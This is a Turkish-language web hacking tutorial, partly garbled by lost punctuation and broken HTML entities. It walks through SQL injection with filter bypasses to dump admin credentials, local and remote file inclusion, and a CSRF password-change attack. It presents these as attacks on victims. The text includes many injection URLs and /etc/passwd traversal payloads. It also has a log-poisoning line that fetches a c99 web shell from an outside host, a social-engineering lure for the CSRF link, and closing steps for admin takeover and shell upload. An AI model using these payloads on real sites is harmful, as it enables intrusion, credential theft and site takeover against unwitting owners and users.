Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 19: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Şimdi İD değerinin bulunduğu yerlerde SQL Accedilığı aramayı goumlreceğizİD değeri değişkenlikgoumlsterebilirSiteyi kodlayan Coder kardeşimiz Veri alışverişinde İD değeri yerine cat= s= i= q= vsdeğerler koyabilirYani bu Coder kardeşimizin elinde olan bişeydirBiraz farklılık accedilısından ben şuan İDdeğeri yerine cat= değerini kullanarak SQL Accedilığı arayacağım

Evet goumlruumllduumlğuuml uumlzere cat= ile alınmış bir veriVeri numarası 9 muş

Goumlrduumlğuuml gibi değerde bir accedilık soumlz konusu

e-) Ziyaretccedili Defterinde SQL İnjection Accedilığı Aramak

Ziyaretccedili Defterleri Hackerlar iccedilin bir nimet sayılabilir(Guumlvenliğin sağlanmaması durumunda)

Şimdi bir ziyaretccedili defterinde SQL Accedilığı arayalımZiyaretccedili Defterinin tuumlm text kutularına lsquo veya lsquoaişaretlerinden birini koyuyoruz

ŞeklindeGoumlnder butonuna bastığınızda eğer bir SQL Hatasıyla karşılaştıysanız burada bir SQLAccedilığının olduğunu anlarsınız

7-Saldırı Anı(SQL Accedilığının Tespiti)

Bir Web Sayfası duumlşuumlnuumln

wwwsayfamcomdosyaphpid=2 olsunBurada accedilık tespiti yapalım hemen

wwwsayfamcomdosyaphpid=2rsquo Koyduk hata aldıkYani bir SQL Accedilığı soumlz konusuŞimdi SQLAccedilığını aldık ama ne yapacağımızı bilmiyoruz Yapacağımız işlem ccedilok basit

8-Saldırı Anı2(Kolon Sayısı Oumlğrenmek Kolon Sayısı Nedir Neye Yarar)

Evet accedilık tespitini yaptıkŞimdi kolon sayısını bulacağızAma oumlncesinde Kolon sayısı nedir neye yararbir goumlz atalım

Veritabanındaki sutuumlnlara kolon (column) denirİccedilerisinde verileri barındırırPek accedilıklamaya gerekyokSQL Programlama dilini oumlğrenecek arkadaşlar ayrıntıları zaten oumlğrenecektirler

Evet accedilığın olduğu sitemiz wwwsayfamcomdosyaphpid=2rsquo idiŞimdi ORDER BY Komutu ileKolon sayısını oumlğrenelim

wwwsayfamcomdosyaphpid=2+order+by+1 yapıyoruzSayfa eski haline geri doumlnduuml

wwwsayfamcomdosyaphpid=2+order+by+10 yapıyoruzEkrana

Şeklinde bir hata geldiYani burada bize kolon sayısının 10 lsquodan kuumlccediluumlk olduğunu soumlyliyorHemen birbir aşağı iniyoruz

wwwsayfamcomdosyaphpid=2+order+by+9 yaptıkSayfa tekrar aynı hatayı verdi

wwwsayfamcomdosyaphpid=2+order+by+8 yapıyoruz sayfa duumlzeldiYani Kolon sayısı 8rsquomiş

Dipnot Eğer order+by+8 yaptığınızda ekrana birşey yansımıyor veya sayfa duumlzelmiyorsa link sonuna-- veya --x +-- şeklinde işaretler koyarak net sonuccedillar alabilirsiniz

9-Saldırı Anı3(Ekrana Kolon Sayısını Yansıtma - Aksi Halde Bypass)

Evet kolon sayımızı oumlğrendikKolon sayımız 8rsquomişŞimdi ekrana kolonları yansıtacağızDaha sonraekrana yansıyan kolonlardan işlemlerimize devam edeceğizKolon sayılarını yansıtma işlemini UNIONSELECT komutları ile yapıyoruzHemen başlayalım

Oumlrnek wwwsayfamcomsayfaphpid=2+union+select+ kolon sayılarımız-- şeklinde hemenyapalım

wwwsayfamcomsayfaphpid=2+union+select+12345678-- yazdıkSayfamıza 12345678sayılarından hangileri yansıdıysa o sayılardan birini seccediliyoruz ve o sayı ile devam edeğiz

-Bypass Yukarıda ekrana kolon sayılarını yansıtmıştıkEkrana kolonların yansımadığını farzedelimBurada devreye bypass giriyorBypassrsquoın net bir tanımı yokturAma bu şekilde saldırılaryaptığımızda bizim karşımıza ccedilıkan engelleri bazı yollarla aşmanın genel ismidir bypass

Şimdi wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde yazdık ekrana kolonyansımadıBypassrsquoı devreye sokacaz hemen

wwwsayfamcomsayfaphpid=2+union+select+12345678-- şeklinde ifadesinikullanarak bypass ediyoruzBu şekilde genelde ekrana kolon sayısı yansırAma bununda faydaetmediği yerler oluyorO Vakit

wwwsayfamcomsayfaphpid=2+union+(select+12345678--) veyawwwsayfamcomsayfaphpid=-2+union+select+12345678-- yapıyoruzBu genelde faydaeder ama bunuda kabul etmediği zamanlarda şunları yapabiliriz

wwwsayfamcomsayfaphpid=-2+UnIon+SeLeCt+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678--

wwwsayfamcomsayfaphpid=-2+union+select+12345678-- şekillerindede bu hatalarıaşmamız muumlmkuumlnduumlrBununla ilgili Web Guumlvenlik Accedilıkları boumlluumlmuumlnde yeterince konum mevcuttur

Şimdi bakalım ekrana yansıyan kolonlara OumlR 2 ve 7 sayıları yansımışBundan sonraki tuumlmişlemlerimizi bu 2 ve 7 sayıları uumlstuumlnden gerccedilekleştireceğizYani yansılan kolonlar uumlzerinden

10-Saldırı Anı4(Tablo İsimlerini Ccedilekmek - Aksi Halde Bypass)

Ekrana nasıyan 2 ve 7 kolonları uumlzerinden devam ediyoruz

Oumlnce Group_Concat Fonksiyonunu tanıyalım

Bu fonksiyon sorgumuz sitede elde ettiğimiz verileri birleştirmeye yarar Oumlrneğin veritabanındakullanıcı adı ve şifre iki ayrı kolonda tutuyorsak bu fonksiyon aracılığı ile birleştirip doumlnduumlrebilirizŞimdibiz kolon sayılarında 2 yi seccedilip 2 uumlzerinden işlem yapalım

wwwsayfamcomsayfaphpid=-2+union+select+1database()345678-- Şeklinde bir sorgugoumlnderdiğimizde sitemizdeki database (Veritabanı) ismini oumlgreniyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1version()345678-- Şeklinde bir sorguda isebize MySql Veritabanırsquonın Versiyonunu verirBunu version şeklindede sorgulayabilirsinizŞimditabloları ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables--

Şeklinde bir sorgu goumlnderdikPeki biz burada ne dedik

table_name = Tablo isimleri

information_schema = MySql Veritabanındaki INFORMATİON_SCHEMA adlı veritabanındakitabloların kolonların isimlerini veriri

information_schematables = INFORMATİON_SCHEMA Adlı veritabanındaki tablo isimlerini bizeverir

information_schemacolumns = INFORMATİON_SCHEMA Adlı veritabanındaki kolon isimlerini bizeverir

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

table_schema=database() = Bu sorguda bize sadece sitenin veritabanındaki tabloları vermesiniisteriz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(table_name)345678+from+information_schematables+where+table_schema=database()--

Şeklinde bir sorgu goumlnderdiğimizde bize veritabanındaki tablo isimlerini verecektirBuradaki komutlarıiyi tanımanızı tavsiye ederim

Ekrana yansıyan tablo isimlerine bir bakalım

adminresimleradreslerhizmetler vs vs olsun

bize burada lazım olacak tabloyu seccediliyoruz admin

Şimdi biz bu komutu sorgu olarak siteye goumlnderdikAma ekrana tablo isimler yansımadı neyapacağız

Burada gene araya bypass giriyorŞimdi sorguda vurgulanan yer neresidir Tablo isimleri

Şimdi sorgudaki tablo isteklerinde bir değişiklik yapıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(TaBlE_Name)345678+from+information_schemaTabLeS+where+TaBLeS_schema=database()--

Şeklinde değişikliğimizi yapuyoruzEkrana tablo isimlerimizin yansıdığını goumlreceksiniz

Bu Şekilde de yansımadığını farz edelimBurada database() fonksiyonunu hexleyelim (Hex birşifreleme tuumlruumlduumlrMozillarsquonın Hackbar Eklentisinde Hex hizmeti mevcuttur)

Hexlenecek isim database()

Hexlenmiş Hali 64617461626173652829

Yanlız şunu unutmamak gerekirHexlediğimiz tuumlm değerlerin başına 0x koymamız gerekirYani sonhali şudur 0x64617461626173652829 Şimdi tekrar ccedilekelim tablolarımızı

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(column_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=0x64617461626173652829--

Sorguyu goumlnderdiğimizde tabloların yansıdığını goumlreceksinizBu Hex taktiğini kolonlar uumlzerindedeyapabilirsiniz

11-Saldırı Anı5(Tablolardan Hedef Veriyi Ccedilekmek - Aksi Halde Bypass)

Evet tablo isimlerini ekrana yansıttık istediğimiz bir tabloyu seccediltikTablo ismimiz admindi

Şimdi tablo iccedilerisindeki sutuumlnları ccedilekelim bakalım ne varmış

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Sorguyu goumlnderdikEkrana UsernamePasswordEmailid Şeklinde sutuumlnlar yansıdıBize lazımolacak Sutuumlnları seccediliyoruzBen UsernamePassword Seccediliyorum ve Devam ediyoruz

Eğer biz bu şekilde sutuumlnları yansıtma esnasında sutunlar yansımasaydı ne yapabilirdik Buradatekrar bir bypass tekniği giriyor işin iccedilineBurada admin tablosunu hexleyelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=admin--

Hexlenecek ad admin

Hexlenmiş hali 61646d696e

Kullanılır hali 0x61646d696e Sorguyu goumlnderiyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(CoLumn_Name)345678+from+information_schemaCoLumns+where+TaBLeS_schema=database()+and+TabLe_Name=0x61646d696e--

Goumlnderdik ve ekrana tekrar UsernamePasswordEmailid Sutuumlnlarının yansıdığını goumlruumlyoruz

Şimdi seccediltiğimiz UsernamePassword sutuumlnlarının iccedilerisindeki veriyi ccedilekelim

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(UsernamePassword)345678+from+0x61646d696e--

Sorguyu goumlnderdik

Username admin

Password bugres

Evet Adminrsquoin kullanıcı adı ve şifresi yansıdıPeki yansımaydı nasıl bir bypass tekniğikullanırdıkUsername Passwordrsquo Char Codersquolarına ccedileviricezMozillarsquonın Hackbar Eklentisindemevcuttur

UsernamePassword Char Code Ccedilevrilmiş Hali

StringfromCharCode(85 115 101 114 110 97 109 101 44 80 97 115 115 119 111 114 100)

Char Code halini group_concat() fonksiyonunun arasına yazıyoruz

wwwsayfamcomsayfaphpid=-2+union+select+1group_concat(StringfromCharCode(85 115 101114 110 97 109 101 44 80 97 115 115 119 111 114 100))345678+from+0x61646d69--

Şeklinde sorguyu goumlnderdiğimizde tekrardan yansıma işleminin yapıldığını goumlreceksiniz

12-Saldırı Anı6(Hedef Veriyi Kullanarak Sisteme Girmek)

Ccedilektiğimiz KAdı ve Şifreyi kullanarak sisteme youmlnetici olarak giriş yapacağız şimdi

Tekrar hatırlayalım

Uname admin

Pword bugres

Youmlnetici olarak sisteme giriş yapabilmemiz iccedilin sitede bir youmlnetici panelinin olması gerekirBu Youmlneticipaneli yani admin paneli ccediloğu sitede mevcutturŞimdi biz admin panelini nasıl bulacağız

Panel yolunun tahmin ile veya farklı programlar kullanarak bulabilirizOumlnce bir tahmin yoluyladeneyelim

Eğer sistem Wordpress Joomla gibi hazır sistemler kullanılarak hazırlanmış ise admin panelleri zatenstandarttır

Wordpress Admin panel yolu wp-admin

Joomla admin panel yolu administrator

Eğer hazır sistem değilse tahmin veya programlarla bulabiliriz

Tahmine başlıyoruz

wwwsayfamcomadmin -gt Error

wwwsayfamcomyoneticiphp -gt Error

wwwsayfamcomadminphp -gt Error

wwwsayfamcomlog_inphp -gt Yess P

Evet admin panelini buldukLog_inphp imişKullanıcı adını ve Şifresini kullanarak panele girişyapıyoruzBurada iccedilerikleri değiştirebiliyoruzYeni iccedilerik ekleyebiliyoruzYani herşeyi yapabiliyoruz

Shell sokmak Bir upload boumlluumlmuuml bulup shellimizi upload ediyoruzSistemde yetki sahibiyiz

